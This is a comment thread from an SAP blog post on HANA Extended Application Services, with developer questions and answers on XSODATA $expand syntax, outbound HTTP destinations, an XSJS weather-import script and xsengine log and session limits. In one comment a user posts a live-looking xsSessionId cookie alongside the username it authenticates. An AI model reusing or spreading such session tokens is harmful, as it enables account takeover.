on project id. How to use navigation ZEMPD here.('PR07_000002‘)?$expand=ZACTU& service namespace “DTHCP.XS” { “DTHCP”.”DTHCP.DB::HCP_PROJECT_HEADER” as “ZPROHEADER” navigates (“PROJECT” as “ZACTU”); “DTHCP”.”DTHCP.DB::HCPT_ZPMIS_ACTUAL” as “ZACTU” navigates (“EMPLOYEE” as “ZEMPD” ); “DTHCP”.”DTHCP.DB::HCP_ZPMIS_RES_MASTER” as “ZEMPD”; association “PROJECT” principal “ZPROHEADER”(“PROJECTID”) multiplicity “1” dependent “ZACTU”(“PROJECTID”) multiplicity “*”; association “EMPLOYEE” principal “ZACTU”(“EMPLOYEEID”) multiplicity “1” dependent “ZEMPD”(“EMPLOYEEID”) multiplicity “1”; } Pls suggest if there is anything to add or correct in XS odata service syntax above. Regards, Kamal Jain. You have to list both associations in the expand on the URL if you want both relationships to be processed. Hi Thomas, We are looking at consuming HANA data in a .NET application and from what I can see, there are 2 options – OData and ODBC. It seems to me that OData might be the better option when consuming HANA data in an XS application, while ODBC might be the better option for .NET. What are your thoughts? Is there a paper on this subject? I haven’t been able to find a comparison document for this. Are there any security caveats to be aware of for these options? Thanks, Blair We do plan to release an ADO.NET provider specific to HANA in the near future. This would probably be the best option for consumption from .NET. Until then I would think that ODBC is probably the next best option. It gives you generally easy portability from already existing database code. You could consume OData as well, although that is more generally consumed from the UI layer itself. It guess it somewhat depends upon where you are calling the service from in your .NET application. The ADO.NET provider is available for download in the SAP Service Marketplace (in beta edition so far). Thanks for the info Henrique, but I can’t find it. I don’t know if it is an authorization issue or do we need to be a ramp-up customer to d/l and use a beta product? Thanks, Blair Hmm not really sure of that, I see it but that might be because I’m an employee. But the .NET development partner I was working with was not enrolled in any kind of beta testing program and they were able to download it, so I guess you should as well. Make sure to go in the “Installation and Upgrades” menu and not the “Support Packages and Patches”. Go to -> Installations and Upgrades -> Browse our Download Catalog -> SAP In-Memory (SAP HANA) -> SAP HANA ADO.NET 1.0. Best regards, Henrique. Dear Thomas, I agree that we need to pass all the associations in the expand. I tried with some of options, but was not through. Now i just tried with below syntax and able to achive. Thx.('PR07_000002‘)?$expand=ZACTU/ZEMPD Regards, Kamal Jain For general OData structure and syntax I find that the Odata.org website is very helpful. For example on this topic: The syntax of a $expand query option is a comma-separated list of Navigation Properties. Additionally each Navigation Property can be followed by a forward slash and another Navigation Property to enable identifying a multi-level relationship. The page also has some sample URLs. Hi Thomas, I want to call procedures in calculation view, (procedures have out parameter.) Please suggest me step by step procedure with example and supporting documents. Thanks ARSHAD SHAIKH. Your question seems to have no relation to the content in this blog. Please consider instead asking general HANA questions in the appropriate SCN Forum. Hello Thomas.. I am new to hana. Please suggest me the blogs of you. related to calculation view that calling procedures(procedures have out parameter). I am trying to fetch the result of procedure in calc view and want to create odata service for that calculation view. procedure code goes like this: ————————————— CREATE PROCEDURE TWEETS_TODAY(OUT OP BIGINT) language SQLSCRIPT sql security invoker default schema “SOCIAL360” reads sql data as BEGIN SELECT COUNT(*) INTO OP FROM “SOCIAL360″.”STATUS” WHERE CREATED_AT = CURRENT_DATE; END calc view code goes like this: —————————————- /********* Begin Procedure Script ************/ BEGIN DECLARE OP BIGINT; CALL “SOCIAL360”.TWEETS_TODAY(:OP,var_out); END /********* End Procedure Script ************/ Thanks -Arshad I’ve never written any blogs on calculation views. I don’t cover that topic. That is why I suggested you ask your question in the proper SCN forum. Although looking at your your above SQL Statement, I don’t see why you couldn’t do this directly in XSODATA off of the table STATUS without the need for the calculation view or the SQLScript Procedure. Hi Thomas, Great blog! I’ve a query here – we create the odata services(and/or URLs created to view in the web browser) in development environment, now if we have to transport it to the quality and/or production environment, how can we do this – is the same as import/export? or is there any specific way to do. please help with any useful pointers.. Many thanks as always! Su You transport XSODATA services like you would any other repository content – via a Delivery Unit. Hi Tom, Great post and videos! I have a tough issue: calling a HANA procedure from XS takes > 5min, but from HANA studio < 1 min. We’re using Amazon AWS rev 70 and 73. Any help will be greatly appreciated. Thanks, WPL Please refer to service note 1849775: I believe it will address your issue. Dear Thomas, Thanks for the great blog!! I am able to connect to Database and execute queries from XSJS service. However is it possible to consume XSODATA service from XSJS instead of using DB Connection? Also is it possible to consume data from external OData services for weather data, social media data etc from XSJS? If possible it would be great if you could provide some code sample or guidelines. Thanks. Regards Tarasankar >However is it possible to consume XSODATA service from XSJS instead of using DB Connection? You can via an outbound HTTP destination; although I certainly wouldn’t recommend it. It would be rather complex and not well performing. >Also is it possible to consume data from external OData services for weather data, social media data etc from XSJS? Sure, with the same Outbound HTTP Connectivity. Maintaining HTTP Destinations – SAP HANA Developer Guide – SAP Library Thanks Thomas. I am currently checking this option only 🙂 … My current requirement is to fetch Weather Data and Social Media data from various OData services and store them in HANA for further analysis. What might be the best way for this? I am currently checking the option of creating an XS application which would connect to the external services, fetch the data and save that in HANA using DB Connection. Is this the best way? Or should we try to use JAVA or some other way? Your valuable suggestions are most welcome. Thanks. Regards Tarasankar Dear Thomas, another question is that does the proxy settings in the HttpDestination refer to the OS user of the HANA server? We specify ‘useProxy‘ as ‘true‘ and ‘authType‘ as ‘basic‘ in the HttpDestination, but not maintain any user credentials. So when the program runs in server, would it automatically consider the OS user credentials? Thanks. Regards Tarasankar Got answer for the second point. SAP HANA XS Administration Tool is the place to configure Proxy settings. Regards Tarasankar >So when the program runs in server, would it automatically consider the OS user credentials? No. It doesn’t automatically use anything. You have to specific the user and password that you want to use for the proxy. Although many proxy servers don’t require a username and password. Since SPS06 its possible to use outbound HTTP destinations and to call out to external services using XSJS. Thanks Thomas. I am facing as issue while trying to use an HTTP Destination. I understand that the .xshttpdest and .xsjs file need to in the same folder. Following is the structure of my test project. As you can see the HTTP Destination and the XSJS files are in the same folder ‘services’. The workspace name is ‘XS_Workspace’ and the package structure is as follows: Now I am trying to read this destination. When I am using full package structure destination_package = “root.work.Tara02.XSTest01.XSHttpTest01.services”, I am receiving the error message http.readDestination: destination not found (package: root.work.Tara02.XSTest01.XSHttpTest01.services, name: XSHttpDest01). On using the workspace name destination_package = “XS_Workspace.services”, I am receiving the error message User is not authorized to use destination (package: XS_Workspace.services, name: XSHttpDest01). On using destination_package = “root.work.Tara02.XSTest01.services” also, I am receiving the error message User is not authorized to use destination (package: root.work.Tara02.XSTest01.services, name: XSHttpDest01). Strangely the ‘services‘ folder is not directly under ‘XSTest01’. Lastly I deliberately gave a wrong service name. destination_package = “XS_Workspace.services” and destination_name = “XSHttpDest02”. But even then I received the error message User is not authorized to use destination (package: XS_Workspace.services, name: XSHttpDest02), not that the destination is not found!! Could you please help me to resolve this issue. Thanks a lot for your helps. Regards Tarasankar Your comment got cut off. We never really get to see what your problem is. Updated it. Thanks. Regards Tarasankar First of all, you would never use the workspace name. It isn’t ever part of anything. It is only the package structure that counts. The first item in your list is the only one with the correct package. Off hand it looks right to me. You are supposed to supply the full package path. Have you configured this HTTP Destination in the XS Admin tool yet? Hi Thomas, I also tried to use the sample code from section ‘8.4.1 Tutorial: Use the XSJS Outbound API’ of the HANA Developer Guide with minor modifications (for package structure, proxy settings etc.). This time the destination was found. The new project structure with the sample files yahoo.xshttpdest and sapStock.xsjs is as below. However it did not bring any data. The content of the response object indicated that there was Proxy authentication issue. When I tried to check the Destination in the XS Admin Console, surprisingly none of the fields are populated and everything (except the ‘Trust Store‘ drop down) is disabled. All these fields are supposed to be populated as indicated in the Modeling Guide. However the User already has the following privileges. The same scenario was present for the Http Destination I prepared earlier. There are couple of internal errors at the bottom. On clicking them the following list is displayed. It appears from various blogs that the second error (No valid SAP Crypto configuration) is related to SSL configuration in HANA. I would contact the HANA Administrator to look into this issue. Of course it would be great if you could provide some insight. However I have no clue regarding the first error. Request your help and cooperation in this regard. The initial issue of not finding the HttpDestination which I created still persists. Thanks for all your help. Regards Tarasankar Update: I tried to access the XS Admin console from another user and faced only the ‘No valid Crypto’ error. However could still update the proxy user details and the sample application successfully ran at last. The relevant roles were provided in ‘Granted Roles’ not ‘Application Privileges’. Probably that was the issue earlier. I would check again with new Http Destination and Server side Java Script. Thanks a lot Thomas for all your help. 🙂 Regards Tarasankar Hi Thomas, Finally got my application running.. It is now fetching weather data from external sites.. 🙂 .. Have two more questions: Thanks. Regards Tarasankar >Is it possible to read files using XS? For example some configuration file kept in the server? No there is no API to read from the file system of the underlying operating system. You can read the HANA configuration ini files however because they are exposed via SQL. >Is it possible to call a html file from the xsjs file? Something likerequest.getRequestDispatcher().forward() from JAVA servlets? In the body of the response you send back to the client your could issue a redirect. Thanks Thomas. Could you give an example of how to redirect. I’m facing a strange issue while trying to import weather data from several cities together. The issue appears to be connected with the content of the response object. Following is the code of the Weather.xsjs file: try { var cmd = $.request.parameters.get(“cmd”); var body; var response; var obj; var propertyName; if(cmd === “import”) { var dest = $.net.http.readDestination(“root.work.Tara02.XSTest01.XSHttpTest01”, “weather”); var client = new $.net.http.Client(); var req = new $.web.WebRequest($.net.http.GET, “/group?id=1275004,1264527,1277333,1273294,1275339&units=metric”); client.request(req, dest); response = client.getResponse(); } $.response.contentType = “text/plain”; if(response.body) { body = response.body.asString(); obj = JSON.parse(body); } /* body = cmd + “\n \n” + response.status + “\n \n” + response.contentType + “\n \n” + response.body + “\n \n” + obj.getOwnPropertyNames(); */ $.response.setBody(body); $.response.status = $.net.http.OK; } catch(e) { $.response.contentType = “text/plain”; $.response.setBody(e.message); $.response.status = $.net.http.INTERNAL_SERVER_ERROR; } Following is the weather.xshttpdest: host = “api.openweathermap.org”; port = 80; description = “my weather checker”; useSSL = false; pathPrefix = “/data/2.5”; authType = none; useProxy = true; proxyHost = “<proxy_details>”; proxyPort = “<proxy_port”; timeout = 0; On accessing http://<hostname>:8000/root/work/Tara02/XSTest01/XSHttpTest01/Weather.xsjs?&cmd=import, I am receiving the error message: Body.asString : unsupported charset specified in Content-Type header (“utf8”) . If the body = response.body.asString(); statement is commented out, I receive the error message JSON.parse: unexpected character because the response.body.asString() itself could not work correctly. However the URL returns data correctly. I am using the same URL in my code. Could you please advise regarding this issue. Thanks for your help. Regards Tarasankar Hi Thomas, Just watched the video you shared above. Thanks a lot for it. It is really informative and helpful. Regards Tarasankar If someone is having difficulties with the alert “log full” on the xsengine: you can do the same trick as for the statisticserver in oder to reset the log area, see details in OSS Notes 2019148 and 1950221. The commands are then: select VOLUME_ID from m_volumes where service_name = ‘xsengine’; ALTER SYSTEM ALTER CONFIGURATION (‘daemon.ini’, ‘host’, ‘<hostname>’) UNSET (‘xsengine’,’instances’) WITH RECONFIGURE; ALTER SYSTEM ALTER CONFIGURATION (‘topology.ini’, ‘system’) UNSET (‘/host/<hostname>’, ‘xsengine’) WITH RECONFIGURE; ALTER SYSTEM ALTER CONFIGURATION (‘topology.ini’, ‘system’) UNSET (‘/volumes’, ‘<volume_id>’) WITH RECONFIGURE; ALTER SYSTEM ALTER CONFIGURATION (‘daemon.ini’, ‘host’, ‘<hostname>’) SET (‘xsengine’,’instances’) = ‘1’ WITH RECONFIGURE; Then restart the HANA instance and after that make a full backup (and schedule the regular backup in order to prevent this situation again). Hope this will help someone like me :-). Have a nice day. Regards, Robert I need your help in writing an API(XSJS service) which will take JSON format data and inserted into HANA database. Hi Thomas, In need of your expert advice. I have a situation where I am using BO Dashboards to create my Dashboard which is consuming the data from HANA. I have a requirement to allow the user to comment in the dashboard and it will write back to the HANA DB and also display the comments in the Dashboard. In order for the BO Dashboard to write back to HANA DB is via web services. Is there any way i can create a WSDL URL and consume the XSJS or ODATA services in HANA? Hi, Very nice blog. Similar fashion i need to consume xsoda in java application. Can anyone please suggest me steps. Thanks, Sumit Arora. Hi Thomas, I want to learn more about the xsengine’s session handling, which appears to be different than the indexserver sessions, I would find in M_CONNECTIONS and M_SESSION_CONTEXT. SAP HANA XS Administration Tool unfortunately only allows limited control. The reason is that we face this error in the xsengine tracefiles on a regular basis: Session creation failed. Maximum number of sessions (50000) reached on But we only got a hand full of developers accessing the HDB system through xsengine for some xsodata services. I tried to find a table/view where I would see these sessions, but I was not able to find any….perhaps it is hidden and not even possibly to query it for security reasons (it could even be in a encrypted file on OSlevel). Here is what I mean: When you logon to HANA XS, after the initial authentication, you get a xsSessionId cookie. On every call to a non public XSengine service, a string like this is submitted: jstree_open=%23jstree%5C.root%2C%23tree-sap%2C%23tree-sap%5C%2Fhana%2C% 23tree-sap%5C%2Fhana%5C%2Fxs%2C%23tree-sap%5C%2Fhana%5C%2Fxs%5C% 2FformLogin; jstree_load=; jstree_selestyle=’font-family:courier’ style=’font-family:courier’ style=’font-family:courier’ ct=% 23tree-sap%5C%2Fhana%5C%2Fxs% 5C%2FformLogin%5C%2FcheckSession%5C.xsjs; xsSessionId=AB446F9F7460894E89F43EA70708DE0E; sapxslb=B0E44405D01B3E4D84478A3510461F7A This runs against sap.hana.xs.formLogon.checkSession.xsjs: var ret = { “login”: false, “pwdChange”: false, }; $.response.contentType = “application/json”; $.response.status = 200; function checkLocation() { var location = $.request.parameters.get(“x-sap-origin-location”); $.trace.debug(location); if (location) { var exp = new RegExp(/^[\/][^\/\\][^\\]*$/); if (!exp.test(location)) { ret[“x-sap-origin-location-ok”] = false; $.response.setBody(JSON.stringify(ret)); return false; } ret[“x-sap-origin-location-ok”] = true; } return true; } if(checkLocation()) { var username = $.session.getUsername(); if (username !== “”) { ret.login = true; ret.pwdChange = $.session.isPwdChangeNeeded(); ret.username = username; } $.response.setBody(JSON.stringify(ret)); } For every future authentication, this xsSessionId cookie is being used. You can test this: e.g. http://<servername>:8000/sap/hana/xs/formLogin/checkSession.xsjs? _=Fri%20Feb%2027%202015%2016:05:31%20GMT+0100%20(W.%20Europe%20Standard%20Time) Returns: {“login”:true,”pwdChange”:false,”username”:”FWITTMAN”} And all info my browser did send was this: Request sent 86 bytes of Cookie data: xsSessionId=AB446F9F7460894E89F43EA70708DE0E; sapxslb=B0E44405D01B3E4D84478A3510461F7A If you call the same without a cookie, you get: {“login”:false,”pwdChange”:false} So there must be a mapping between the sessionID and the User connected to it…and the number of these entries is limited to 50.000 by the maxsessions parameter. The question I would have now: – Is there a possibility to count the number of sessions? – Can we check if the sessions get removed once someone closes the browser or deletes these cookies? – Is there an automatic process that removes inactive sessions after XYZ minutes or will it only take care of this when we set the sessiontimeout parameter? Thank you Florian XS Sessions are only for sticky authentication and shouldn’t need any special monitoring. I don’t know of any tools that will monitor them. You really shouldn’t be getting the error that you exceeded the maximum sessions, especially with a small number of users on the system. I suggest you open a support ticket for the root cause of the issue. Hi Thomas, I already did that (call 234273 / 2015 ), but unfortunately I was advised to check M_CONNECTIONS and M_SESSION_CONTEXT, which did not explain the background (since these are indexserver sessions). As solution I was asked to increase the xssessions parameter, but I’d want to understand the way HANA handles these ‘sticky authentication’ sessions better, since we face this on a development system with 20-30 users right now but in our future production we will see 8000 users. My fear is that the ‘sticky authentication’ sessions on the xs do not get cleaned when a user simply closes it’s browser. But if I can not gather any information about these sessions, I will not be able to perform a test and identify the issue. Thanks & regards Florian It sounds to me like support did not address the root cause of the problem. Why the sessions remain or why you have an abnormally large number of sessions. I would suggest reopening the ticket as not having solved your problem. As you said, their solution of looking at M_CONNECTIONS or M_SESSION_CONTEXT isn’t even a correct answer. Hi Thomas, I am spinning in circles back and forth with my SAP call (185352/2015) and it almost reached a point where I give up explaining my issue. Would you have any chance to help me to get this call to someone who understands what I am asking? I cannot be explaining it that incorrectly since you actually understood me on my first comment. I would be very thankfull Thanks and regards Florian There is very little I can do. I’m not part of the support organization and can’t even make comments in your ticket. All I can really do is try and send a polite email to one of the support managers and ask them if they can take a second look at the issue. Hello Thomas, The 2-tier application architecture mentioned above is also supported in XSA? Appreciate for your help. Joseph What is described here is now called XS Classic. It is still shipped alongside XSA for backwards compatibility. However it will be removed at some point in the future. XSA is not a 2-tier approach as described here. It is more of a traditional 3-tier architecture. Thank Thomas for your comment. I understand the relation between 2 “versions” now. Really appreciate for your reply. Best regards, Joseph
https://blogs.sap.com/2012/11/29/sap-hana-extended-application-services/
CC-MAIN-2017-47
refinedweb
5,843
56.25
How to use notebooks in Azure Data Studio This article describes how to launch the Notebook experience in Azure Data Studio and how to start authoring your own notebooks. It also shows how to write Notebooks using different kernels. Connect to SQL Server You can connect to the Microsoft SQL Server connection type in Azure Data Studio. In Azure Data Studio, you can also press F1, and click New Connection and connect to your SQL Server. Launch Notebooks There are multiple ways to launch a new notebook. Go to the File Menu in Azure Data Studio and then click on New Notebook. Right click on the SQL Server connection and then launch New Notebook. Open the command palette (Ctrl+Shift+P)) and then type in New Notebook. A new file named Notebook-1.ipynbopens. Supported kernels and attach to context The Notebook Installation in Azure Data Studio natively supports SQL Kernel. If you are a SQL developer and would like to use Notebooks, then this would be your chosen Kernel. The SQL Kernel can also be used to connect to PostgreSQL server instances. If you are a PostgreSQL developer and would like to connect to your PostgreSQL Server, then download the PostgreSQL extension in the Azure Data Studio extension marketplace. SQL Kernel In the code cells within the Notebook, similar to our query editor, we support modern SQL coding experience that makes your everyday tasks easier with built-in features such as a rich SQL editor, IntelliSense, and built-in code snippets. Code snippets allow you to generate the proper SQL syntax to create databases, tables, views, stored procedures, etc., and to update existing database objects. Use code snippets to quickly create copies of your database for development or testing purposes and to generate and execute scripts. Click Run to execute each cell. SQL Kernel to connect to SQL Server instance Query Results SQL Kernel to connect to PostgreSQL Server instance Query Results Configure Python for Notebooks When you select any of the other kernels apart from SQL from the kernel dropdown, this prompts you to Configure Python for Notebooks. The Notebook dependencies get installed in a specified location but you can decide whether to set the installation location. This installation can take some time and it is recommended to not close the application until the installation is complete. Once the installation finishes, you can start writing code in the supported language. Once the installation succeeds, you will find a notification in the Task History along with the location of the Jupyter backend server running in the Output Terminal. Attach to provides the context for the Kernel to attach. If you are using SQL Kernel, then you can Attach to any of your SQL Server instances. If you are using Python3 Kernel the Attach to is localhost. You can use this kernel for your local Python development. When you are connected to SQL Server 2019 big data cluster, the default Attach to is that end point of the cluster and will let you submit Python, Scala and R code using the Spark compute of the cluster. Code Cells and Markdown Cells Add a new code cell by clicking the +Code command in the toolbar. Add a new text cell by clicking the +Text command in the toolbar. The cell changes to edit mode and now type markdown and you will see the preview at the same time Clicking outside the text cell will show the markdown text. Trusted and Non Trusted Notebooks open in Azure Data Studio are default Trusted. If you open a Notebook from some other source, it will be opened in Non Trusted mode and then you can make it Trusted. Save You can save the Notebook by Ctrl+S or clicking the File Save, File Save As... and File Save All commands from the File menu and File: Save commands entered in the command palette. Pyspark3/PySpark kernel Choose the PySpark Kernel and in the cell type in the following code. Click Run. The Spark Application is started and returns the following output: Spark kernel | Scala language Choose the Spark|Scala Kernel and in the cell type in the following code. You can also view the "Cell Options" when you click on the options icon below – Spark kernel | R language Choose the Spark | R in the dropdown for the kernels. In the cell, type or paste in the code. Click Run to see the following output. Local Python kernel Choose the local Python Kernel and in the cell type in - Manage Packages One of the things we optimized for local Python development was to include the ability to install packages which customers would need for their scenarios. By default, we include the common packages like pandas, numpy etc., but if you are expecting a package that is not included then write the following code in the notebook cell: import <package-name> When you run this command, Module not found is returned. If your package exists, then you will not get the error. If it returns a Module not Found error, then click on Manage Packages to launch the wizard experience. In this wizard you will be able to see the Installed packages. You can search through the list and the associated version of each of these packages. If you need to uninstall any of these packages then you can click on one of the packages and then click on the Uninstall selected packages option. You will also be able to click on Add new packages to Search for a particular package, choose the related version and click install. By default, we select the latest version of the searched package. After the package is installed, you should be able to go in the Notebook cell and type in following command: import <package-name> If you need to uninstall any of these packages then you can click on one or multiple packages and then click on the Uninstall selected packages option. Next steps To learn how to work with an existing notebook, see How to manage notebooks in Azure Data Studio. Feedback
https://docs.microsoft.com/en-us/sql/azure-data-studio/sql-notebooks?view=sql-server-2017
CC-MAIN-2019-39
refinedweb
1,014
68.81
A. As you mentioned, your algorithm runs in O(n^2) time, but it is possible to reduce it to O(log n * n). This is done by first sorting the array, if the array has an element that is equal to (k / 2) then that can be summed with itself to become k, otherwise we go to the position in the list where the ith element is less then k / 2 and the i+1th element is greater. The trick is that in order to sum up to k you need one element that is less then k / 2 and one that is greater. If the sum of the ith element and the i + 1th element is less then k / 2 then there will be no element from L_lower that together with the i + 1th element becomes k, so we can remove the i + 1th element and try again. If the sum is too high then there will be no element from L_greater that together with the ith element becomes k so we can remove that element and try again. Needless to say if either L_greater or L_lesser is ever empty, no two numbers will sum to k. Here is an implementation of that algorithm, have fun with it! import Data.List findSum :: [Int] -> Int -> Maybe (Int,Int)findSum xs x | null bigger = Nothing | 2 * mid == x = Just (mid,mid) | otherwise = findIt x smaller bigger where (small,big) = partition (< quot x 2) xs smaller = sortBy (flip compare) small bigger = sort big mid = head bigger findIt x (c:cs) (d:ds) | cd == x = Just (c,d) | cd < x = findIt x (c:cs) ds | cd > x = findIt x cs (d:ds) where cd = c + dfindIt _ _ _ = Nothing What on earth makes you estimate the worst-case runtime as O(n)? Your algorithm seems to me quite trivially and explicitly O(n²): The function is called n times, and inside the function you call elemIndex for a list of O(n) elements. That's O(n)*O(n) = O(n²). Hi Sami, You are absolutely right. At the time of writing it had it in my head that elemIndex was the same as just accessing an array element and thus O(1); which is clearly not the case. Worse case is O(n²). If you made it this far down into the article, hopefully you liked it enough to share it with your friends. Thanks if you do, I appreciate it.
http://scrollingtext.org/programming-praxis-sum-two-integers
CC-MAIN-2014-52
refinedweb
411
70.77
OK, back to the topic! It's time to describe the 3rd task of SD6 QR. I'll be very brief on the 3rd task, because was a standard SQL injection (not even a blind one) on MySQL 5.X, with INFORMATION_SCHEMA available for usage. In a variable dzial= ("dzial" stands for "section") there was an SQLI, which you exploited in the following way: and 0 union select 1,(select table_name from information_schema.tables WHERE table_schema=database() limit 0,1 ) -- and 0 union select 1,(select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and table_name=0x7363745573657273 limit 0,1 ) -- and 0 union select 1,(select concat(id,0x20,name,0x20,password,0x20,email) from sctUsers limit 0,1 ) -- As one can see, there is no magic here. Few simple SQL queries got us almost to the end of the task. The last query allowed us to obtain a list of e-mails and password, which looked like this: 1 admin 279f4d9d7c0a5e40024301d04c7959ef m.niedoceniany@topsecurity 2 jnieomylny c534beb518778104480270bbcbced23d j.nieomylny@topsecurity 3 mhojna 24efc2b5af7ac8fecfcc694d523e7385 m.hojna@topsecurity 4 apropaganda 2034f6e32958647fdff75d265b455ebf a.propaganda@topsecurity (secretpassword) 5 zprzebiegla f1edec0f984fef1d681d2ce0d281618 z.przebiegla@topsecurity 6 mpomocny f39c915bc6df36e8b40eccd1975e9e50 m.pomocny@topsecurity I'll add that Google (lately it's my favorite MD5 cracker) known only the hash of user apropaganda, which was equal to md5 of 'secretpassword', which one could use to login into the system. However, the task was to access the admin account. And here appeared a vulnerability (if I remember correctly a similar vuln was found in the past in PHPBB) - mainly in the cookies were stored user/pass/id of the logged in user, where the password was really an MD5 sum of the password. Since the things we got from the SQL table were the things we needed, one just had to substitute the values in the cookies with user/pass/id of the admin user. Click, reload, and the task is done. Onto the 4th task. Imho it was great, and I can say that (imho ofc ;>) it was the most interesting task on SD6. The scenario - same as always - there is a website of a fictional company Top$ecurity, and one had to get into the administrator panel. It was hard to decide which way to go at the beginning, since many vectors of attack occurred, and most of them were a dead end. The correct vector of attack was one of the new subsections on the site with charts of the financial results of the company in past years. Such chart looked like this: And it came up that the chart was generated by a PHP script zysk_gfx/plot.php ("zysk" is "profit") with a parameter year= that had been given a year, like 2003, 2004, etc, and it generated a chart using the data for the given year. I must admin that the year parameter was the last place I checked for an LFI (a standard LFI checked - inserting ./ before the parameter), and it came out that there is in fact an LFI here - 2003 etc were just file names with no extension. Each file was 231 bytes long, and had contained raw data (as in "binary" - one byte - one value) for the chart. Using this LFI you could access any file. Hoooowever... there were two problems. 1st - you could read up to 245 bytes, and not a byte more. 2nd - the file will be drawn as a chart ;>. Luckily, the chart was precise, so writing a small program that reads a chart and writes out text on stdout will do the job. For example, the chart of 'admin.php' file (I've guessed the name of the file) looks like this: I took the chart, converted it into .RAW (naked bitmap format, no headers, just pure RGB data), and thrown it into a badly written application that gave me the text. The application code looks like this: #include <gynlibs.cpp> #pragma pack(1) struct RGB { unsigned char r,g,b; }; LONG_MAIN(argc,argv) { unsigned char *data; data = FileGetContent(argv[1], NULL); RGB *rgb = (RGB*)data; int start_x = 22; int start_y = 276; int i, j; for(i = start_x; i < 500; i+=2) { for(j = start_y; j > 0; j--) { if(rgb[500 * j + i].r == 255 && rgb[500 * j + i].g == 0 && rgb[500 * j + i].b == 0) { putchar(start_y - j + 1); break; } } } return 0; } As one can see, I didn't even check if argv[1] is not NULL, but whatever. I've used a library called gynlibs.cpp, which is one of my libs containing various strange functions. It's badly written, but still pretty handy. If you are interested, you can download it here (let's say it's public domain.. there is no magic there anyway). The above code fed by a RAW file produces the following script: <?php if ( ! isset($_POST['login']) || ! isset($_POST['password']) ) { header("Location: ../"); } $userName = "marcin"; $md5Hash = "87f75ce3f908a819a9a2c77ffeffcc38"; if ( $_POST['login'] != $userName || md5($_POST['password' The above hash is md5('compiler') (Google found it). As one can see, it's enough to prepare some POST form, and the task was done. As one can see, it was not really super difficult (and good, that day I had like 3 hours to break both tasks before leaving with Borys for the SekIT conference... luckily I've managed ;>), however it still was very interesting and uncommon ;> The next post will probably be about SekIT 2008, and later I'll get back to describing the SD6 tasks (there is still task 5 and 6 left from QR, and the tasks from the finals). OK, thats it ;> Add a comment:
https://gynvael.coldwind.pl/?id=76
CC-MAIN-2019-26
refinedweb
936
72.36
Compatibility - 0.2.0 and master5.35.25.15.04.2 - 0.2.0 and masteriOSmacOS(Intel)macOS(ARM)LinuxtvOSwatchOS This is a native SDK for interacting with OpenWhisk. OpenWhisk is a serverless platform that operates on the basis of creating "actions" and invoking them. To learn more about how to use OpenWhisk, please go here. The goal is to never, ever, ever return raw data to the consumer of OpenWhisk. Ever. Native objects, forever. You can integrate this SDK with Swift Package Manager. Add the following line to your Package.swift file: import PackageDescription let package = Package( name: "YOUR_PROJECT_NAME", targets: [], dependencies: [ .Package(url: "", majorVersion: 0) ] ) After you update your manifest, type swift build in your command line, and the project should resolve its dependencies. In your project, you need to first set up an instance of Agent. You must set four properties when using an Agent instance: let newAgent = Agent() newAgent.apiKey = "enter API key here" newAgent.secret = "enter secret here" newAgent.namespace = "enter namespace here" newAgent.host = "enter host here" After that, you can make requests with your instance of Agent. getActions You can retrieve the list of actions in your namespace like so: agent.getActions() { actions, error in } The result passed into the closure is a collection of type Action. Please check the class documentation for information on this object. getActionDetail If you have an instance of Action, you can choose to get details on that action, such as source code, with the following function: agent.getActionDetail(action) { details, error in } The result passed into the closure is an instance of type ActionDetail. Please check the class documentation for information on this object. invoke If you have an instance of Action, you can invoke it in a number of ways. There are two pre-requisites for invoking an action. Codable. Codable As an example, let's assume I have an action that retrieves the price of Bitcoin given a country code. In JSON, my input looks like this: {"code": "USD"} I would need to make a corresponding Codable object like so: struct Currency: Codable { var code: String } let input = Currency(code: "USD") Let's also assume that my potential output, in JSON, would look like this: { "currency": { "currencyCode": "USD", "name": "Bitcoin", "value": 5844.8963 } } I would then need to make a corresponding Codable type like so: struct CurrencyResponse: Codable { var currency: CurrencyResponseCurrency struct CurrencyResponseCurrency: Codable { var currencyCode: String var name: String var value: Double } } Having both of these defined, I can then invoke such an action like so: agent.invoke(action: action, input: Currency(code: "USD"), responseType: CurrencyResponse.self, blocking: true, resultOnly: false, completion: { response, error in }) There are two parameters in this call, blocking and resultOnly, which could elicit three possible responses. OpenWhisk is usually asynchronous in nature, which means that default behavior will return a token called activationId to be redeemed for a response when the action completes its work. The default value for both of these parameters in this function is false. blockingis set to false, then a token will be returned to redeem later (this functionality has not yet been built into the SDK) blockingis set to true, and resultOnlyis set to false, then the action will complete and send a full response, including the result of the function in a native context specified per your response object blockingis set to true, and resultOnlyis set to true, then the action will complete and send only the result of the function minus the metadata of the invoked action. I am fully aware that there is already a Swift SDK for OpenWhisk here. Can this be better? Time will tell. Thank you to James Thomas for peer pressuring me into trying this on a flight from Boston to Austin.
https://swiftpackageindex.com/dokun1/openwhisk-swift-sdk
CC-MAIN-2021-10
refinedweb
624
54.73
CodeGuru Forums > Visual C++ & C++ Programming > C++ (Non Visual C++ Issues) > Help:: Cross Platform Struct Member Alignment PDA Click to See Complete Forum and Search --> : Help:: Cross Platform Struct Member Alignment DaDB1 September 11th, 2002, 05:42 AM I am building a windows gui app to manage a database. The database is created and runs on a unix system, and I have tools written in pure C that I use to manipulate the database from the command line, but I wanted a gui app to make things more user friendy. The tools I have written when compiled either by VC6 as a C program, gcc on linux, or cygwin all work fine. Transfering the database manipulation code to a VC6 project and compiling as part of a C++ gui app results in the structures not being able to be read due to improper bit field alignment within the structures. In short, the database can be read/written via a C compiled source, but not via C++ compiled source. When determining structure size - printf("d", sizeof(struct my_struct)); In a C program it prints as 3524 bytes. I assume that most C compilers align the bit fields in a 4 bit structure. In a C++ program it prints the same structure as 3508 bytes, and that's assuming that the compiler uses an 8 bit structure alignment. I have tried the /ZP(n) compiler switch, as well as the #pragma pack(...) directives. The min /ZP1 results in a struct size of 3501 bytes, while the /ZP4, /ZP8, and max /ZP16 all result in a struct size of 3508 bytes. I have also tried the /J compiler switch to set char alignment, and the UNALIGNED keyword when declaring structure pointers, all of these methods failed to align the structure bit fields to a readable state by a C++ program. I assumed that since the original program and database is completely portable C programming, that I could also port it to C++. Is there anything that I am missing, or is this just impossible to do? Thanks... cup September 11th, 2002, 06:26 AM Small correction: It is byte structure alignment: not bit structure alignment. 1) When making up the structure are all the shorts/longs together and are all the chars together or are they mixed? Different implementations will pack struct{ char x; char z; long y; } differently. 2) Are you using any ints? What happens when you change them to short/long? Whenever I've had this sort of problem it is normally the packing and the ints. stober September 11th, 2002, 06:49 AM With a little testing, and without seeing any of your structures, your problem could be the 